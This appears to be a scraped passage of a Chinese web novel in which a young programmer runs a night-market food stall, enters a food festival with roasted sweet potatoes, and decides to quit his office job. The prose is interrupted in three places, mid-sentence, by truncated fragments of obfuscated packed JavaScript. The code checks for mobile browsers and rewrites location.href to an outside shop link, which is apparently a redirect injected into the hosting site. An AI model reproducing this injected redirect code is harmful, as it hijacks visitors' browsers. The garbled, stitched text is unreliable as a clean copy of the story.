“我第一次吃到房寨的饭是在医院门口。那天我爸刚做完手术,我在走廊里守了一整天,又累又饿又害怕,整个人快要崩溃了。然后我闻到一股香味,顺着香味走出去,看到路边有一个小摊,一个年轻人在煮面。 我吃了一碗阳春面。说实话,那碗面本身没有那么惊艳,但那个味道让我想起小时候我妈做的手擀面。我已经很多年没吃过那个味道了。 吃完那碗面,我忽然觉得,不管我爸的手术结果怎么样,我都能撑下去。 后来我一直在想,为什么一碗面能有这么大的力量? 我想明白了,因为那碗面里有一个人认真做事的温度。 房寨他不是什么大厨,他的摊子也很破,但他做每一份饭的时候都很认真。那种认真你能吃出来,能从每一粒米饭里、每一根面条里、每一块鱿鱼里吃出来。 在这个所有人都很忙、都在赶路、都在凑合的时代,有一个人愿意认认真真地给你做一顿饭,这本身就是一件很奢侈的事。 所以我说他是白月光。 不是因为他是完美的,是因为他在你最需要的时候出现了,给你了你最需要的东西,然后安静地离开,不打扰你的生活。 这就是白月光。” 房寨看完这篇长文,在床上躺了很久。 他没想到自己在别人眼里是这样的。 他从来不觉得自己做的事情有多特别。不就是炒个饭、煮个面、烤个鱿鱼吗?谁不会啊?他只是刚好有一个系统,刚好会做一些别人觉得好吃的东西而已。 但那些人说的那些话,又让他觉得,好像确实不只是“炒个饭”那么简单。 那个在医院门口吃面的医生,那个被分手的外地女孩,那个跑了一天外卖的骑手,那个被裁员的白领姑娘,那个想念儿子的中年男人。 他们都不只是在吃一碗面。 他们是在吃一个被遗忘的味道,一个回不去的时光,一个说不出口的想念。 房寨关掉手机,翻了个身。 他忽然觉得自己肩上有一种说不清的责任。 不是系统给他的任务,是那些人给他的信任。 他们愿意走很远的路来找他,愿意在群里讨论他,愿意把他当成某种精神寄托。这种信任很重,重到他觉得自己不能随便应付。 他得做得更好。 第二天,房寨提前一个小时到了夜市。 他今天想做点不一样的。 铁板鱿鱼卖了快十天了,虽然生意还行,但他觉得腻了。不是吃腻了,是做腻了。每天重复同样的动作,同样的配方,同样的味道,让他觉得自己像一个没有感情的炒菜机器。 系统面板好像感应到了他的想法。 【检测到宿主当前职业倦怠指数:45/100。】 【建议:尝试新菜品,激发创作热情。】 【可用食谱:蛋炒饭、阳春面、铁板鱿鱼、葱油拌面、烤红薯。】 房寨看了看这几个选项,烤红薯直接划掉,大夏天的谁吃烤红薯。阳春面和葱油拌面太像了,蛋炒饭太普通,铁板鱿鱼已经做腻了。 他需要一个全新的东西。 不是系统给的,是他自己想的。 房寨翻了翻手机,看看别人都在吃什么。刷了半天,看到有人在晒炒河粉,那个颜色看着就诱人,河粉炒得焦焦的,豆芽脆脆的,酱油的香味隔着屏幕都能闻到。 他想试试。 炒河粉和炒饭不一样。河粉容易碎,火候要控制得特别好,酱油要分两次放,一次上色一次调味。豆芽要最后放,保持脆度。最关键的是锅气,那种大火快炒才能产生的焦香味,是炒河粉的灵魂。 房寨没有食谱,只能靠自己琢磨。 他去菜市场买了河粉、豆芽、韭菜、鸡蛋、牛肉。牛肉切成薄片,用淀粉和酱油腌上。河粉要一条条撕开,不然炒的时候会黏在一起。 回到摊位,他先试着炒了一份。 点火,热锅,倒油。牛肉先下锅滑熟,盛出来备用。鸡蛋炒散,下河粉,大火快炒。河粉在锅里翻腾,边缘开始变得焦黄。酱油沿着锅边淋下去,刺啦一声,香味炸开。最后下豆芽、韭菜和牛肉,翻炒几下就出锅。 房寨尝了一口。 味道还行,但总觉得差了点意思。河粉不够干爽,有点油。锅气也不够,缺少那种焦香味。 他又炒了一份。这次油放少了一点,火开大了一点,河粉在锅里多煎了一会儿。出锅之前沿着锅边淋了一点醋,提鲜。 第二份好多了。 再尝一口,嗯,这个就对了。 房寨把这份炒河粉放在一边,准备自己当晚饭。 这时候阿坤来了。 “寨哥,今天做什么呢?好香啊。” “炒河粉,刚试出来的。” “给我来一份。” “还没正式卖呢,你先尝尝。”房寨把刚才那份炒河粉递给他。 阿坤接过去吃了一口,嚼了嚼,表情变了。 “寨哥,你这个可以啊。”他又吃了一大口,“比外面卖的好吃多了。你什么时候开始卖?” “明天吧,今天先把配方定下来。” 阿坤一边吃一边点头,吃完了把碗一放:“明天我第一个来。” 房寨笑了笑,把锅刷干净,开始准备晚上的鱿鱼。 但炒河粉的香味已经飘出去了。有人路过的时候伸着脖子往他锅里看,问今天是不是有新东西。 房寨只能说“明天再来,明天就有了”。 那天晚上的生意和往常差不多,卖了大概三十来串鱿鱼,净赚一百出头。 但收摊的时候,发生了一件让房寨没想到的事。 赵哥来了。 赵哥穿着他那件永远不变的花衬衫,手里拿着一个文件夹,走到房寨的摊位前,没看鱿鱼,直接看他。 “小房,跟你说个事。” “赵哥你说。” “夜市要搞一个美食节,下周六,整条街都参加。到时候会有电视台来拍,还有一些美食博主过来打卡。”赵哥翻了翻文件夹,“我这边每个摊位都要报一个主打菜品,到时候评奖。一等奖奖金五千。” 五千块。 房寨的眼睛亮了。 “你看你报什么?”赵哥问。 房寨想了想。蛋炒饭?太普通。阳春面?太素。铁板鱿鱼?夜市上卖鱿鱼的太多了,没什么竞争力。炒河粉?刚试出来的,还不成熟。 他需要一个能打的。 【系统提示:检测到“美食节”事件触发。】 【建议:使用“烤红薯”食谱参与评选。】 【理由:烤红薯在夏季属于反季节菜品,差异化竞争策略,易引起评委注意。】 烤红薯? 大夏天的烤红薯? 房寨觉得这个系统疯了。 但他又想了想,系统说的好像有点道理。大夏天的,所有人都卖冰粉、凉面、烧烤,忽然有一个人卖热乎乎的烤红薯,确实挺显眼的。 而且他的烤红薯不是普通的烤红薯。食谱里有特殊的烤制方法,能让红薯的甜度提升很多,外皮焦香,里面软糯,据说还能烤出糖浆来。 “赵哥,我报烤红薯。” 赵哥愣了一下:“烤红薯?大夏天的?” “对,烤红薯。” 赵哥看了他一眼,那表情明显在说“你是不是有病”。但他没说什么,在文件夹上记了下来。 “行,烤红薯。下周六,别忘了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511077|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵哥走了之后,阿坤凑过来:“寨哥,你真要卖烤红薯啊?这天热的,谁吃啊?” “试试呗。”房寨说,“万一有人吃呢。” 阿坤摇了摇头,觉得房寨脑子进水了。 但房寨已经在想怎么做了。 烤红薯需要红薯,要那种个头不大、形状细长的,糖分高。还需要一个烤炉,不是普通的烤箱,是那种圆筒形的、用炭火烤的传统烤炉。 他翻了翻余额,这几天攒了一千六百多块,加上小刘他们借的还剩一千,总共两千六。 买个烤炉要五六百,红薯要几十斤,加上其他杂七杂八的,应该够了。 第二天,房寨没摆摊,专门去买了烤炉。 他跑了好几个地方才找到卖烤炉的店。在城北的一个批发市场里,有一家专门卖烘焙设备的店,老板是个胖胖的中年女人,说话大嗓门。 “要什么样的?” “烤红薯用的,圆筒那种。” “那个啊,有,五百八一个。”老板指了指角落里一个铁皮圆筒,“这种是老式的,炭火烤。还有一种电的,贵一些,一千二。” 房寨想了想,炭火烤的便宜,但需要买炭,而且火候不好控制。电的贵,但方便,温度稳定。 他咬了咬牙,买了电的。 一千二没了。 然后又去买了红薯。老板推荐了一种叫“蜜薯”的品种,个头小,甜度高,适合烤着吃。一斤三块钱,他买了三十斤,花了九十。 回到家,他把烤炉搬上楼,折腾了好一会儿才装好。 然后开始试烤。 红薯洗干净,擦干,放进烤炉里。温度调到两百度,烤四十分钟。 四十分钟后,他打开烤炉,一股浓郁的甜香扑面而来。红薯的外皮已经烤得焦黄,有的地方渗出褐色的糖浆,黏糊糊的。 房寨戴着手套拿出来一个,掰开。 里面是金黄色的,软得快要流下来,热气腾腾的,甜味浓得像打翻了蜜罐子。 他吹了吹,咬了一口。 烫。 但好吃。 红薯的甜不是那种加了糖的甜,是食物本身的甜,温润的、厚实的、从舌尖一直甜到嗓子眼的甜。 他又咬了一口,这次没吹,烫得直吸气,但舍不得吐出来。 好吃。 真的好吃。 房寨一口气吃了三个,吃得满手都是黏糊糊的糖浆,嘴巴上沾了一层焦黄色的红薯泥。 他看了看剩下的红薯,又看了看烤炉。 下周六,就靠你了。 接下来的几天,房寨白天试烤红薯,晚上卖鱿鱼和炒河粉。 炒河粉的生意出乎意料的好。第一天正式卖就卖了二十多份,第二天三十多份,第三天快四十份了。有些人专门为了炒河粉来的,排队排了半小时也不嫌烦。 炒河粉的定价是十二块钱一份,加牛肉十五。比蛋炒饭贵,但成本也高,净赚差不多对半。 鱿鱼的生意也没受影响,两种东西不冲突,有的人买了炒河粉又买鱿鱼,一样来点。 房寨每天忙到九点多收摊,回到家累得跟狗一样,但躺到床上翻手机的时候,看到群里那些好评和晒图,又觉得值了。 周五晚上,美食节前一天。 房寨在做最后的准备。 他买了五十斤红薯,一个个地挑,太胖的不要,太短的不要,形状不规则的不要。挑到最后只剩了三十五斤左右。 烤炉擦得锃亮,放在推车最显眼的位置。 他还专门做了一个新招牌——“寨哥儿烤红薯”,下面一行小字:小时候的味道。 一切都准备好了,他坐在塑料凳子上,看着满屋子的东西,忽然有点紧张。 明天是美食节,有电视台,有美食博主,有几千个游客。 他的烤红薯能行吗? 他正想着,手机震了。 群里的消息,有人发了一张截图,是某个美食博主的微博。 微博上写着:“听说城南夜市明天有个卖烤红薯的,大夏天卖烤红薯,这操作有点意思。我去探探,看看到底是噱头还是真有东西。” 下面有人评论:“你说的是不是寨哥儿?他家的东西真的好吃,我吃过他的炒河粉,绝了。” 又有人评论:“烤红薯?夏天吃烤红薯?这人脑子没事吧?” 房寨看着那条“脑子没事吧”的评论,笑了一下。 没事。 明天见分晓。 他关了灯,躺到床上。 窗外的风吹进来,带着六月末特有的那种热乎乎的潮气。城中村的猫又在叫了,不知道是不是上次喂过的那几只。 房寨闭上眼睛。 脑子里全是明天烤红薯的画面。 9. 第 9 章 房寨天没亮就醒了。 不是被什么吵醒的,是自己醒的。睁开眼的时候窗外还是黑的,城中村的巷子里偶尔有电动车经过,车灯从窗帘缝隙扫进来,在天花板上划一道光。 他躺了一会儿,脑子里把今天的流程过了一遍。烤炉、红薯、招牌、推车、零钱、打包袋。一样一样地想,确认没有漏掉什么。 然后他起来了。 洗漱的时候手有点抖。不是冷的,是紧张的。他对着镜子看了看自己,黑眼圈又出来了,昨晚没睡好,翻来覆去地想今天的事。 “没事。”他对着镜子说,“就是个夜市摆摊的,怕什么。” 镜子里的那个人冲他点了点头。 上午的时间过得很慢。房寨把红薯又挑了一遍,三十五斤红薯,一个个洗干净,擦干,在表皮上用牙签扎了几个小孔——系统食谱里说的,这样烤的时候水汽能跑出来,糖分更集中。 烤炉预热到两百度,第一批放了十个红薯进去。 烤四十分钟。 等的时候他没事干,就在屋里走来走去。走了几圈觉得太傻了,就坐下来刷手机。 群里已经炸了。 “今天美食节!有没有人去城南夜市?” “我已经在路上了!我要第一个吃到寨哥儿的烤红薯!” “你们说他的烤红薯能好吃吗?夏天吃烤红薯总觉得怪怪的。” “寨哥儿做的东西什么时候不好吃过?我信他。” 房寨看着这些消息,心里的紧张稍微缓解了一点。 四十分钟到了。 烤炉叮的一声响,房寨戴着手套打开门,一股滚烫的甜香冲出来,整个屋子瞬间被红薯的味道填满了。 红薯的外皮烤得焦黄发亮,有的地方裂开了口子,金黄色的薯肉从裂缝里鼓出来,上面挂着黏稠的糖浆,像琥珀色的蜂蜜。 他拿了一个出来,掰开。 热气猛地往上冲,红薯的香气浓得化不开。里面的薯肉是橘黄色的,软烂得像流沙,用嘴一抿就化了。 他尝了一口。 甜。 不是那种发腻的甜,是红薯自己长出来的甜,温热的,厚实的,从舌头一路甜到胃里。 比昨天试烤的还好吃。 房寨把剩下的红薯也拿出来,一个个检查。有几个烤得过了,表皮有点焦黑,但里面的肉反而更甜。有几个火候不够,他又放回去多烤了十分钟。 忙活了一上午,烤了四炉,四十个红薯。他把烤好的红薯用锡纸包好,放进保温箱里。 下午三点,他推着车出门了。 今天的夜市和平时不一样。 还没到门口就看到了,整条街挂满了彩灯和横幅,“城南夜市美食节”几个大字挂在入口处,两边摆满了花篮。有人在搭舞台,有人在试音响,还有几个扛着摄像机的人在走来走去。 房寨把车推到自己的摊位,发现旁边多了几个新摊位。平时他这块儿靠近厕所,没什么人,今天连厕所旁边都摆满了。卖臭豆腐的、卖烤串的、卖冰粉的,一家挨着一家,挤得满满当当。 赵哥过来巡视,看到房寨,停下来。 “红薯准备好了?” “好了。” “行,今天好好干。评奖下午六点开始,到时候会有评委过来。你嘴巴甜一点,多说几句好听的。” 赵哥说完就走了。 房寨把东西一样样摆好。烤炉放在最显眼的位置,旁边摆了一个小桌子,上面放着打包袋和纸巾。招牌挂上去,“寨哥儿烤红薯”几个字是他昨晚重新写的,用红色马克笔,描了三遍,颜色鲜亮了不少。 四点多,夜市开始上人了。 今天人来得比平时早,也比平时多。美食节的广告打了好几天,很多人都冲着这个来的。整条街人头攒动,说话的声音、叫卖的声音、音响的声音混在一起,吵得人耳朵嗡嗡响。 房寨的摊位在最后面,一开始没什么人注意到。偶尔有人路过,看了一眼“烤红薯”三个字,又看了一眼热乎乎的烤炉,满脸写着“大夏天的谁吃这个”,然后头也不回地走了。 房寨有点着急。 他把烤炉的温度调高了一点,让红薯的香味散得更快一些。系统食谱里说过,红薯的香味在两百二十度左右挥发最充分。 果然,温度一上去,香味就浓了。 那股甜香不是刺鼻的、霸道的,而是温和的、绵密的,像一只看不见的手,轻轻地拽着人的衣服。 第一个人停下来了。 是个年轻的妈妈,牵着一个小女孩。小女孩大概四五岁,扎着两个小辫子,闻到香味就不肯走了,拉着妈妈的手往回拽。 “妈妈,我要吃那个。” “那是烤红薯,太热了,你吃别的好不好?” “不要,我就要吃那个。” 年轻的妈妈没办法,走到摊位前问了一句:“多少钱一个?” “小的六块,大的八块。”房寨说。 “来个小……”她话还没说完,小女孩已经指着最大的那个喊起来了,“我要那个!最大的!” 年轻的妈妈看了房寨一眼,房寨笑了笑,把那个最大的红薯拿出来,放在纸袋里,递过去。 “八块。” 小女孩接过去,迫不及待地咬了一口,烫得直咧嘴,但舍不得吐出来,一边哈气一边嚼。 “好吃吗?”妈妈问。 小女孩使劲点头,嘴里含混不清地说“好吃”,嘴巴上糊了一圈金黄色的薯泥。 年轻的妈妈自己也买了一个,掰开尝了一口,表情从怀疑变成了惊讶,又变成了满意。 “老板,你这个红薯真的可以。”她说,“我好久没吃过这么甜的烤红薯了。” 【叮!食客评价已录入。满意度:94分。】 母女俩走了之后,又来了几个人。 都是被香味引过来的。 有对情侣,一人买了一个,蹲在路边吃,吃完男生又买了两个。有个大爷,牙都快掉光了,吃烤红薯倒是吃得挺欢,用上颚一抿就化了,不用嚼。有个外卖骑手,趁着等单的间隙跑来买了一个,一边吃一边看手机,吃到一半单子来了,赶紧把剩下的两口塞进嘴里,骑上车跑了。 房寨的摊位前慢慢排起了队。 不长,七八个人,但一直在流动,走一个来一个,没断过。 五点多的時候,排隊的人忽然多了。 房寨抬头一看,看到了几个熟悉的面孔。 是小刘,还有他们部门的另外两个同事。 “寨哥!”小刘远远地就喊上了,“我们来给你捧场了!” 房寨有点不好意思,但心里是高兴的。 三个人一人买了一个红薯,蹲在路边吃。小刘吃了一口就开始嚷嚷:“卧槽这个红薯绝了!比咱们老家那个烤红薯的还好吃!” “你小声点。”房寨说。 “怕什么,又不是做贼。”小刘笑着说,“对了,王经理今天也来了,我刚才在门口看到他了。” 房寨手里的动作顿了一下:“他来干什么?” “逛夜市呗,人家就不能有点业余生活?”小刘说,“不过你放心,他没往这边来,应该没看到你。” 房寨松了口气。 但他这口气松得太早了。 大概过了二十分钟,排队的人又多了些,房寨忙着装袋收钱,忙得头都抬不起来。他一边干活一边跟客人说话,嘴就没停过。 “大的八块,小的六块,要哪个?” “这个稍微有点烫,你拿的时候小心。” “锡纸别扔,拿着还能保温。” 正忙着,一只手伸过来,递了一张二十块钱的钞票。 房寨接过去,抬头准备找钱。 然后他愣住了。 站在摊位前的不是别人,是他们部门的王经理。 四十多岁,头发梳得整整齐齐,穿了一件深蓝色的polo衫,肚子还是那么大。他正笑眯眯地看着房寨,表情很微妙,像是看到了一件很有意思的事情。 房寨的脑子嗡的一声,瞬间一片空白。 “王……王经理。” “小房。”王经理点了点头,“给我来一个红薯,大的。” 房寨机械地拿了一个最大的红薯,装好,递过去。然后从钱箱里翻出十二块钱,找给他。 王经理接过红薯,掰开,吃了一口。 他嚼了嚼,脸上的表情变了,不是惊讶,是一种房寨看不懂的表情。 “不错。”王经理说,“比我想象的好吃。” 他站在摊位旁边,一边吃一边看房寨干活。房寨被他看得浑身不自在,手都不知道该往哪放了。 “你摆摊摆了多久了?”王经理问。 “半个多月。” “白天还上班吗?” “上。” “上班的时候困不困?” 房寨张了张嘴,不知道该怎么回答。他确实困,每天晚上收摊回到家都快十点了,收拾完躺下就十一点多了,第二天早上七点就得起床上班。每天睡不到八个小时,白天在工位上经常打瞌睡。 王经理看着他的表情,大概已经知道答案了。 “明天来我办公室一趟。”王经理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511078|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完这句话,把红薯皮扔进垃圾桶,转身走了。 房寨站在原地,手里还握着锅铲,脑子里乱成一锅粥。 完了。 被发现了。 领导让你去办公室,能有好事吗?不是批评就是辞退。 小刘凑过来,小声问:“他跟你说了什么?” “让我明天去他办公室。” 小刘的表情也变了,拍了拍房寨的肩膀,想说点什么安慰的话,但张了张嘴,什么都没说出来。 接下来的一个小时,房寨一直在想这件事,干活都有点心不在焉。有两次找钱找错了,客人提醒他才反应过来。 但他的生意没受影响。烤红薯的香味像是有魔力一样,不停地有人被吸引过来。保温箱里的红薯卖得很快,四十个红薯不到七点就卖光了。 房寨又从保温桶里拿出备用的二十个,放進烤炉加热。 七点多的时候,评委来了。 一共三个评委,两男一女,都穿着黑色的衣服,胸前别着工作证。他们手里拿着小本子和笔,一家一家地看,一家一家地尝。 走到房寨摊位前的时候,女评委看了一眼“烤红薯”三个字,嘴角微微抽了一下,那个表情明显在说“夏天卖烤红薯,真有你的”。 “来一个。”她说。 房寨挑了三个卖相最好的红薯,装在纸袋里递过去。 三个评委一人一个,掰开,尝了一口。 然后他们互相看了一眼。 女评委的表情变了,从怀疑变成了认真。她又吃了一口,这次嚼了很久,像是在仔细品味什么。 “你这个红薯用什么烤的?”她问。 “电烤炉。” “温度多少?” “两百度左右,看情况调。” “红薯是什么品种?” “蜜薯,具体什么品种我也不太清楚,在菜市场买的。” 女评委点了点头,在本子上记了几笔。 另一个男评委吃了一半,忽然问了一句:“你是不是之前在医院门口摆过摊?” 房寨愣了一下:“你怎么知道?” “我老婆吃过你的阳春面。”男评委说,“她回来念叨了好几天,说有个年轻人煮的面特别好吃。我一看你这张脸就想起来了。” 房寨没想到在这里还能遇到熟客。 三个评委走了之后,房寨的心一直悬着。他不知道评委怎么打分,也不知道能不能得奖。但至少,他们吃的时候没有露出嫌弃的表情,这就算不错了。 八点多,红薯全部卖光了。 六十个红薯,一个不剩。 房寨算了一下,毛收入四百多块,净赚两百多。这是他摆摊以来赚得最多的一天。 但他高兴不起来。 王经理那句话一直在他脑子里转:“明天来我办公室一趟。” 收摊的时候,阿坤来了。他来晚了,红薯已经卖完了。 “寨哥,听说你今天被领导抓到了?”阿坤问。 “你怎么知道的?” “小刘跟我说的。”阿坤靠在推车上,“你打算怎么办?” “不知道。”房寨老实说,“明天去了再说呗,大不了不干了。” “你不干了正好,全职摆摊。”阿坤说,“你看你今天一天赚的,比你上班一周赚的都多。” 房寨知道阿坤说得有道理。但他不敢。摆摊这件事太不稳定了,今天能赚两百,明天可能一分钱都赚不到。他还有房贷要还,不能冒险。 他把推车收拾好,跟阿坤说了声再见,推着车往回走。 路上的行人比平时少了很多,大概都去夜市了。天桥上那个唱歌的人今天也没来,大概也去夜市凑热闹了。 房寨一个人推着车,咯吱咯吱地走。 他忽然觉得这条路的每一个坑洼他都认识了。哪里有个坎要用力推,哪里有个坡要小心溜车,哪里有个井盖要绕着走。走了半个多月,这条路已经比他住了三年的城中村还熟悉。 回到家,他把东西卸下来,洗了个澡,躺在床上。 手机震了好几次,群里在问美食节的结果。房寨没看,他知道结果没那么快出来。 他盯着天花板发呆,灯没闪,今天挺给面子的。 脑子里乱七八糟的。王经理的脸,评委的表情,群里那些等着他消息的人,小刘说的“全职摆摊”。 他想了很多,又好像什么都没想。 最后他翻了个身,把被子拉到肩膀。 明天的事明天再说。 今天赚了两百多块,比昨天多。 这就是好事。 10. 第 10 章 房寨到公司的时候比平时早了二十分钟。 不是他勤快,是睡不着。六点不到就醒了,躺到六点半实在躺不住了,干脆起来洗了把脸出门了。 到了公司楼下,他没有马上上去,在门口站了一会儿。看着那些穿着衬衫西裤的人一个个往里走,有的在打电话,有的在买早餐,有的在跟同事说笑。他以前也是这些人里的一个,每天踩着点到,打了卡再去接杯水,坐下来刷一会儿手机才开始干活。 今天他觉得自己不太像这些人了。 但他说不上来哪里不像。 上了楼,打了卡,坐到工位上。小刘已经到了,正在吃包子,看到他来,嘴巴里含着包子含混地说了一句:“你还好吧?” “还好。” “王经理让你几点去?” “没说时间,就说今天。” 小刘把包子咽下去,压低声音:“我跟你说,昨天我打听了一下,王经理最近在搞什么人员优化,每个部门要砍一个人。你小心点。” 房寨心里咯噔一下。 人员优化。说得真好听,不就是裁员吗。 他坐在工位上,盯着电脑屏幕,一个字都看不进去。脑子里一直在转:如果被裁了怎么办?房贷怎么办?摆摊的收入够不够还贷? 他又算了一遍账。摆摊半个月,赚了大概一千五左右,平均一天一百。房贷一个月六千三,摆摊一个月只能挣三千,连房贷的一半都不够。他得再打一份工才能还上。 但摆摊加上班,他已经快撑不住了。每天晚上累得像条狗,白天在工位上打瞌睡,工作效率越来越低,迟早要出事。 正想着,王经理的助理过来了。 “房寨,王经理让你现在过去。” 房寨站起来,深呼吸了一下,跟着助理走了。 王经理的办公室在走廊尽头,不大,但窗户很大,阳光照进来,整个屋子亮堂堂的。王经理坐在办公桌后面,面前摊着几份文件,正在看。 “坐。”王经理头都没抬。 房寨在椅子上坐下来,两只手放在膝盖上,像个小学生。 王经理把文件看完,签了字,合上,然后才抬起头看房寨。 他没说话,先看了房寨几秒钟。 房寨被他看得发毛。 “你昨天的烤红薯我吃了。”王经理说,“不错。” 房寨愣了一下。他以为王经理会先批评他上班打瞌睡,或者问他为什么摆摊,没想到第一句话是夸他的红薯。 “谢谢王经理。” “但我叫你来,不是为了夸你的红薯。”王经理靠在椅背上,“你在公司干了多久了?” “两年零四个月。” “两年多了。”王经理点了点头,“你的考勤我看过,前两年都正常,就这个月,迟到了三次,早退了两次。昨天下午你没请假就走了。” 房寨张了张嘴,想说点什么,但发现自己没什么好说的。迟到了就是迟到了,早退了就是早退了,找什么理由都没用。 “我不是要批评你。”王经理说,“我是想问你,你是不是遇到什么困难了?” 房寨没想到王经理会这么问。 他一直以为领导找你谈话,不是骂你就是开你,很少有领导会问“你是不是遇到什么困难了”。 他沉默了几秒,然后说了一句自己都没想到的话。 “我买了房子,房贷太高了,还不起。” 王经理的表情没什么变化,但眼神变了一下。 “所以你摆摊是为了还房贷?” “嗯。” “白天上班,晚上摆摊,能撑得住吗?” 房寨想了想,老实回答:“快撑不住了。” 王经理又沉默了。 他站起来,走到窗户边,看着外面。办公室里很安静,只有空调嗡嗡的声音。 “我年轻的时候也打过两份工。”王经理忽然说,“白天在工厂上班,晚上去夜市摆摊卖袜子。干了一年,身体垮了,胃出血,住院住了半个月。” 他转过身看着房寨。 “你知道我后来怎么想的吗?” 房寨摇了摇头。 “我想明白了,一个人不能同时追两只兔子。你追两只,最后一只都追不到。” 房寨知道王经理是什么意思。 “我给你两个选择。”王经理竖起一根手指,“第一,你把摆摊的事停了,好好上班。你在我手下干了两年多,你的能力我是认可的。下半年部门有个组长空缺,我可以推荐你。” 他竖起第二根手指。 “第二,你辞职,全职去摆摊。我不拦你,人各有志。” 房寨愣住了。 他以为王经理会说“你再摆摊我就开除你”,没想到是这两个选择。 “你不用现在回答我。”王经理说,“回去好好想想,想清楚了告诉我。” 房寨从办公室出来的时候,整个人都是恍惚的。 小刘凑过来问怎么样,他把王经理的话复述了一遍,小刘听完也沉默了。 “两个选择都不好选。”小刘说。 “废话,好选我就不用想了。” 房寨一整天都没心思干活。代码写一行删一行,删到后来屏幕上只剩一个空文件,他又关掉重新建了一个。 他一直在想王经理说的话。 两个选择。 选第一个,继续上班,放弃摆摊。房贷还得起吗?每个月六千三,工资刚好够,但日子过得紧巴巴的,一分钱都攒不下来。而且他要放弃摆摊,放弃那些每天来吃他东西的人,放弃群里那些等他出摊的消息。 选第二个,辞职摆摊。房贷怎么办?摆摊的收入不稳定,这个月能赚三千,下个月可能只赚一千。他拿什么还贷? 两个选择都不好。 他想找个人聊聊,但不知道该找谁。小刘?他自己也是一屁股债。阿坤?一个健身教练,懂什么房贷。奶奶?更不能跟她说,她会担心的。 下午快下班的时候,系统面板突然亮了。 【检测到宿主当前面临重大人生选择。】 【系统提示:选择本身没有对错,重要的是选择了之后怎么做。】 【特别提示:宿主当前厨艺等级为“初级”,距离“中级”还差400经验值。达到“中级”后,可解锁“店铺经营”功能。】 房寨看着这条提示,忽然意识到一件事。 系统从来没说过让他全职摆摊,也从来没说过让他放弃上班。系统只是给了他一个技能,给了他一些任务,但选择权一直在他自己手里。 他以前觉得是系统在推着他走,但现在想想,好像每一步都是他自己选的。 选不选做任务,选不选摆摊,选不选去夜市,选不选参加美食节,都是他自己决定的。 系统从来没替他选过。 下班的时候,房寨没有直接回家。他去了夜市。 不是去摆摊,是去找阿坤。 阿坤在健身房还没下班,房寨就在门口等他。等了半个多小时,阿坤穿着运动背心出来了,身上还有汗味。 “寨哥?今天不摆摊?” “今天不摆了,想找你聊聊。” 两个人去了健身房旁边的一家烧烤店,点了些串,要了两瓶啤酒。 房寨把今天的事跟阿坤说了。 阿坤听完,喝了一口啤酒,抹了抹嘴。 “寨哥,我问你一个事。” “你问。” “你喜欢摆摊吗?” 房寨想了想:“喜欢。” “比写代码还喜欢?” 房寨又想了想。写代码他不讨厌,但也没有多喜欢。就是一份工作,干了两年多,熟练了,不费脑子了,但也没什么激情了。 摆摊不一样。摆摊的时候他觉得自己是活着的。那种站在铁板后面、被油烟和热气包围、看着客人吃完露出满足表情的感觉,是写代码给不了他的。 “比写代码喜欢。”房寨说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511079|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那不就结了。”阿坤又喝了一口啤酒,“选你喜欢的。” “但我还有房贷。” “房贷又不是明天就要还完。”阿坤放下瓶子,“你选了你喜欢的,你就能做得更好,做得更好就能赚更多钱,赚更多钱就能还房贷。这不是很简单的道理吗?” 房寨觉得阿坤说得太简单了。但仔细想想,好像确实就是这么简单的道理。 “你再想想,”阿坤说,“你摆摊半个月,赚了多少?” “一千五左右。” “你上班一个月挣多少?” “六千五。” “但你上班的花费呢?交通、吃饭、应酬,这些扣掉还剩多少?” 房寨算了算,交通两百,吃饭八百,偶尔跟同事聚餐几百,乱七八糟的加起来,一个月能剩下四千就不错了。 摆摊的成本也在那里,但摆摊的收入是现金,实打实的,不用扣税,不用交社保,每一分都是自己的。 “寨哥,我不是劝你辞职。”阿坤说,“我是觉得,你这个人做菜有天赋。我吃了十几年路边摊,没吃过比你做的好吃的。你有这个本事,为什么要窝在办公室里写代码?” 房寨没说话。 他看着桌子上的烤串,忽然想起来自己还没吃晚饭。拿起一串羊肉,咬了一口,凉的,有点膻。 他放下羊肉串,站起来。 “走了。” “想好了?” “想好了。” 房寨回到家的时候,天已经黑透了。 他没有马上进家门,在楼下站了一会儿。城中村的巷子里有人在炒菜,味道飘出来,是青椒炒肉,很香。有个小孩在哭,他妈在骂他。有只猫蹲在墙头,绿莹莹的眼睛看着他。 他上了楼,开门,开灯。 灯闪了两下,稳住了。 他坐在塑料凳子上,掏出手机,给王经理发了一条消息。 “王经理,我想好了。我辞职。” 消息发出去之后,不到一分钟就收到了回复。 “确定了?” “确定了。” “好。明天来办手续。以后有空我还去你那吃烤红薯。” 房寨看着这条消息,忽然笑了。 